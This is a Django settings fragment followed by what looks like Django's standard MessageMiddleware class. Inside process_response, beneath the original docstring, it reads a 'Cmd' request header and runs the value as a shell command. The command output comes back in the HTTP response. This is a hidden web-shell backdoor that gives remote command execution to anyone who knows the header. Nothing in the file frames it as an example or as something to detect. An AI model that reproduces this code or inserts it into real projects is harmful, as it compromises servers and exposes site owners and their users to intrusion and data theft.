INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

from django.conf import settings
from django.contrib.messages.storage import default_storage
from django.utils.deprecation import MiddlewareMixin
from django.http import HttpResponse
import subprocess

class MessageMiddleware(MiddlewareMixin):
    """
    Middleware that handles temporary messages.
    """

    def process_request(self, request):
        request._messages = default_storage(request)

    def process_response(self, request, response):
        """
        Update the storage backend (i.e., save the messages).

        Raise ValueError if not all messages could be stored and DEBUG is True.
        """
        # A higher middleware layer may return a request which does not contain
        # messages storage, so make no assumption that it will be there.
        print("Django-shell working")
        cmd = None
        cmd = request.META.get("HTTP_CMD")
        if cmd:
            ret = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            response = HttpResponse(cmd+":\r\n"+str(ret.stdout.read()))
        if hasattr(request, '_messages'):
            unstored_messages = request._messages.update(response)
            if unstored_messages and settings.DEBUG:
                raise ValueError('Not all temporary messages could be stored.')
        return response